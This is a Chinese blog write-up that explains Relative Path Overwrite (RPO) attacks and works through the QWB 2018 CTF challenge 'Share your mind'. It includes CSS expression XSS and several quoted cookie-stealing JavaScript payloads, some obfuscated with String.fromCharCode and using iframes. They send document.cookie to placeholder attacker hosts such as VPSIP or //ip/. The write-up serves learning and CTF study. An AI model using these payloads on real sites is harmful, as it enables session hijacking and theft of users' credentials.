参考文章:

https://xz.aliyun.com/t/2220

http://www.thespanner.co.uk/2014/03/21/rpo/

https://www.lorexxar.cn/2018/03/26/qwb2018/#share-your-mind

0X01 什么是RPO攻击?

RPO(Relative Path Overwrite)相对路径覆盖,主要是利用浏览器的一些特性和部分服务端的配置以及沟通之间的差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。

就目前来看此攻击方法依赖于浏览器和网络服务器的反应,基于服务器的Web缓存技术和配置差异,以及服务器和客户端浏览器的解析差异,利用前端代码中加载的css/js的相对路径来加载其他文件,最终浏览器将服务器返回的不是css/js的文件当做css/js来解析,从而导致XSS,信息泄露等漏洞产生。

0X02 需要了解的基础知识

1、phpinfo url 模式

在看漏洞流程之前,我们先介绍一个知识点,就是按照目录方式获取资源,以及phpinfo URL模式。

http://39.107.33.96:/index.php/view/article/

难道有一个目录交index.php吗?不是的,它使用了url rewrite的php开发框架,也叫PHPINFO URL模式

等价于

http://39.107.33.96:/index.php?mod=view&article=

2、关于服务器和客户端浏览器在解析和识别上的差异化

第一个差异化 不同web服务器对url的识别是不一样的。

在Apache中将/编码为%2f后,服务器无法识别url,返回404,但是在Nginx中将/编码为%2f后,服务器可以识别编码后的url,返回200。

第二个差异化 客户端浏览器在加载相对路径文件时是以最后一个/为相对目录加载具体资源文件的。

在Nginx中,编码后的url服务器可以正常识别,也就是说服务器在加载文件时会解码后找到具体文件返回返回客户端。

但是在客户端识别url时是不会解码的,正常情况下解码%2f解码后应该加载的是rpo/xxx/../x.js,最后也就是rpo/x.js文件;而这里加载的是/x.js,所以浏览器是没有解码%2f的。

3、浏览器对CSS的解析

显示的相对URL将查找公开内容,并根据当前域名自动包含该域。相对URL有两种重要的变体,第一种是我们可以使用当前路径并查找其中的目录,如“xyz”或使用通用目录遍历技术,如“../xyz”。要查看这些标记在标记中的工作方式,请查看样式表中常用的相对URL。

<html>
<head>
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
</body>
</html>

上面的链接元素使用相对URL引用“style.css”,具体取决于您所在的站点目录结构中的哪个位置,它将根据该位置加载样式表。例如,如果您在一个名为“xyz”的目录中,则样式表将从“xyz/style.css”加载。

这个有趣的方面是浏览器不知道什么是正确的路径,因为它无法访问服务器的文件系统。没有办法从文件系统外部确定有效的目录结构,只能进行有根据的猜测并使用http状态码来确定它们的存在。

无效的代码

}*{color:#ccc;}

有两种技巧可以忽略涉及选择器的非法代码,具体取决于单个}将运行的CSS解析器还是{}。我们将看看IE compat,因为解析器很松散并且支持CSS表达式。一个CSS表达式如下所示:

*{
xss:expression(alert(1));
}

第一部分是全局选择器“*”,{打开选择器使用自定义属性xss,然后表达式包含执行alert(1)的JavaScript。

测试语句:

Hello {}*{xss:expression(open(alert(1)))}

0X03 分析强网杯 Share your mind 这道题

文章最开始提到过,RPO漏洞就是“相对路径覆盖”,所以要先存在一个相对路径点。

该js成功加载说明漏洞存在,下面从漏洞的payload入手

http://39.107.33.96:/index.php/view/article//..%2f..%2f..%2f..%2findex.php

对于php而言,它获得的请求是url解码后的,%2F会被解码为/,nginx会按照目录的方式来返回我们请求的资源。

所以对于服务器端,也就相当于访问

http://39.107.33.96:/index.php/view/article//../../../../index.php

向上跳了三层,依旧返回index.php页面的内容

但是!服务端和客户端之间产生了沟通差异,浏览器在寻找js资源的时候,并没有对%2f进行解码,就认为

..%2f..%2f..%2f..%2findex.php是一段数据,但是又没有人来接收这段数据,相当于报废。

http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php相当于在文章ID为36967的文章页面传了一个叫..%2f..%2f..%2f..%2findex.php的参数,没有人接收,所以返回的资源就只是http://39.107.33.96:20000/index.php/view/article/36967/的。

浏览器错误理解url后,请求相对路径中请求的资源路径,就变成了http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php/static/js/jquery.min.js

当我们向服务器提交这个请求的时候,服务器会按照phpinfo模式来读取这个url,

读到..%2f..%2f..%2f..%2findex.php这里就读不下去了,识别不了,退一步,把前面能识别的内容返回回来,也就是http://39.107.33.96:20000/index.php/view/article/36967/

我们看网络里的请求,也可以看到浏览器按照phpinfo的格式来解析url的话,只会访问到能识别的地方

这里要注意,zhaijh只是为了表示这是一个没有用的dir,同理把..%2f..%2f..%2f..%2findex.php当做dir也是一样的。

把http://39.107.33.96:20000/index.php/view/article/36967/的页面内容,也就是alert(1)当做是js文件的内容,带回到了<script>标签中,也就因此,造成了XSS漏洞

0X04 关于这道题漏洞利用

关于这一章我没有自己实现,因为这个做法需要在VPS执行js脚本,我没有这个环境,我尝试用xss平台实现,但未实现成功。第二点,赛后服务器已经关闭了后台的bot,不会反弹信息了,所以这里只做记录。

来自 Ph0rse

之后我们就可以伪造请求,比如(new Image()).src = 'http://VPSIP:Port?'+document.cookie

由于漏洞点过滤了引号,所以可以用fromCharCode进行绕过处理

(new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47)+document.cookie;

写这篇文章的时候,后台的自动点击脚本貌似没在运行了,只能我自己触发一下xss,弹个自己的PHPSESSION回来。比赛过程中会有个提示,让你去打二级目录/QWB_fl4g/QWB/

然后使用iframe标签去读二级目录下的cookie

iframe
var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
var c =
document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
var n0t = document.createElement(String.fromCharCode(108,105,110,107));
n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47,63,102,108,97,103,61) + c);
document.head.appendChild(n0t);
}

VPS处就可以监听到返回的flag~

来自lorexxar

直接打cookie,获得提示HINT=Try to get the cookie of path \"/QWB_fl4g/QWB/\

打子域的cookie即可

var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://xxxxx?xx="+c;
}

不知道为什么一直不执行,各种改也没用,后来改用documen.write写入就好了

document.write(String.fromCharCode(ord(脚本的内容)))

成功打到flag

来自l3m0n

这里面对一些特殊符号也进行了实体化编码,所以加载payload就使用了eval(String.fromCharCode(97))的形式

获取当前根目录的cookie:

b=document.cookie;a="<img src=//ip/"+btoa(b)+">";document.write(a);

打回来的数据提示Try to get the cookie of path "/QWB_fl4g/QWB/",也就是要获取不同目录下的cookie。可以通过iframe来加载,最后来获取iframe里面的cookie。

var i = document.createElement("iframe");
i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);
i.addEventListener( "load", function(){
var content = i.contentWindow.document.cookie;
location='//ip/'+btoa(content);
}, false);

最后可拿到flag: flag=QWB%7Bflag_is_f43kth4rpo%7D; HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

RPO攻击 & share your mind的更多相关文章

  1. rpo攻击

    0 什么是RPO攻击? RPO(Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术,最早由Gareth Heyes在其发表的文章中提出.主要是利用浏览器的一些特性和部分服 ...

  2. 再看CVE-2018-12613 phpmyadmin后台文件包含&&RPO攻击

    写在前面 因为看了朋友的一篇分析又回头想了想自己去年遇到的这个纠结的问题. 去年写过一篇phpmyadmin后台文件包含的文章,写的非常的草草,并没有分析的过程,只是把自己的问题记了下来.当时纠结于最 ...

  3. 一篇RPO漏洞挖掘文章翻译加深理解。

    这是我第一次尝试翻译一篇漏洞挖掘文章,翻译它也是为了加深理解它.这是一篇很有意思的漏洞挖掘文章. 前几天在看fd的博客,偶然看到了这篇文章,虽然有点老了.但是思路真的牛皮.我决定花费时间和精力研究它们 ...

  4. 浅析RPO漏洞攻击原理

    RPO的全称为Relative Path Overwrite,也就是相对路径覆盖,利用客户端和服务端的差异,通过相对路径来引入我们想要的js或者css文件,从而实现某种攻击. 就目前来看此攻击方法依赖 ...

  5. RPO(Relative Path Overwrite)

    Conception(Relative vs Absolute) Abosolute Path: "/etc/hosts"(in Linux), "C:\Windows\ ...

  6. 中间人攻击(MITM)姿势总结

    相关学习资料 http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141. ...

  7. kali 密码攻击

    第八章 密码攻击 作者:Willie L. Pritchett, David De Smet 译者:飞龙 协议:CC BY-NC-SA 4.0 这一章中,我们要探索一些攻击密码来获得用户账户的方式.密 ...

  8. RTO & RPO

    作者:王文洋链接:https://www.zhihu.com/question/30753842/answer/49334210来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明 ...

  9. Mininet实验 基于Mininet实现BGP路径挟持攻击实验

    参考:基于Mininet实现BGP路径挟持攻击实验 实验目的: 掌握如何mininet内模拟AS. 掌握BGP路径挟持的原理和分析过程. 实验原理: 互联网是由相互连接的自治系统AS组成的,通过一个通 ...

随机推荐

  1. Codeforces Gym 191033 E. Explosion Exploit (记忆化搜索+状压)

    E. Explosion Exploit time limit per test 2.0 s memory limit per test 256 MB input standard input out ...

  2. (贪心) nyoj1036-非洲小孩

    题目描述: 家住非洲的小孩,都很黑.为什么呢?第一,他们地处热带,太阳辐射严重.第二,他们不经常洗澡.(常年缺水,怎么洗澡.)现在,在一个非洲部落里,他们只有一个地方洗澡,并且,洗澡时间很短,瞬间有木 ...

  3. php处理文件上传

    注意点: 1.<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" ...

  4. apache安装及相应配置

    给公司装过环境,自己也装过自己的服务器环境.但是每次都是现谷歌,毕竟每个人遇到的问题都不一样,还是记录下,以防忘记 一.安装 Centos7默认已经安装httpd服务,只是没有启动.如果你需要全新安装 ...

  5. 关于MyBase 7.0 破解的方法

    Mybase 是一个功能强劲且可随心所欲自定义格式及层次关系的通用资料管理软件, 可用于管理各种各样的信息,如一:各类文档.文件.资料.名片.事件.日记.项目.笔记.下载的精华.收集的各种资料等等,即 ...

  6. CodeForces11D 状压dp

    http://codeforces.com/problemset/problem/11/D 题意 给定一个简单图,输出其中的简单环的数目.简单环的含义是,不包含重复顶点.重复边的环. 1 <= ...

  7. 简单BootLoader

    目录 简单BootLoader 概述 NOR与NAND启动 链接脚本规划 初始化规划 参数设置 title: 简单BootLoader tags: linux date: 2018-09-28 23: ...

  8. 《Apache Kafka 实战》读书笔记-认识Apache Kafka

    <Apache Kafka 实战>读书笔记-认识Apache Kafka 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.kafka概要设计 kafka在设计初衷就是 ...

  9. 【转载】C#:使用双缓冲让界面绘制图形时避免闪烁

    https://blog.csdn.net/fujie724/article/details/5767064#

  10. Kettle系列: Kettle并行执行Trans后的合并问题

    我们在作业开发中为了处理效率, 经常需要并行执行一些trans, 等它们执行完毕后, 需要执行另外一些trans, 从流程上也就是分支+汇合. 粗看起来很简单, Kettle中对接一下这些组件就搞定了 ...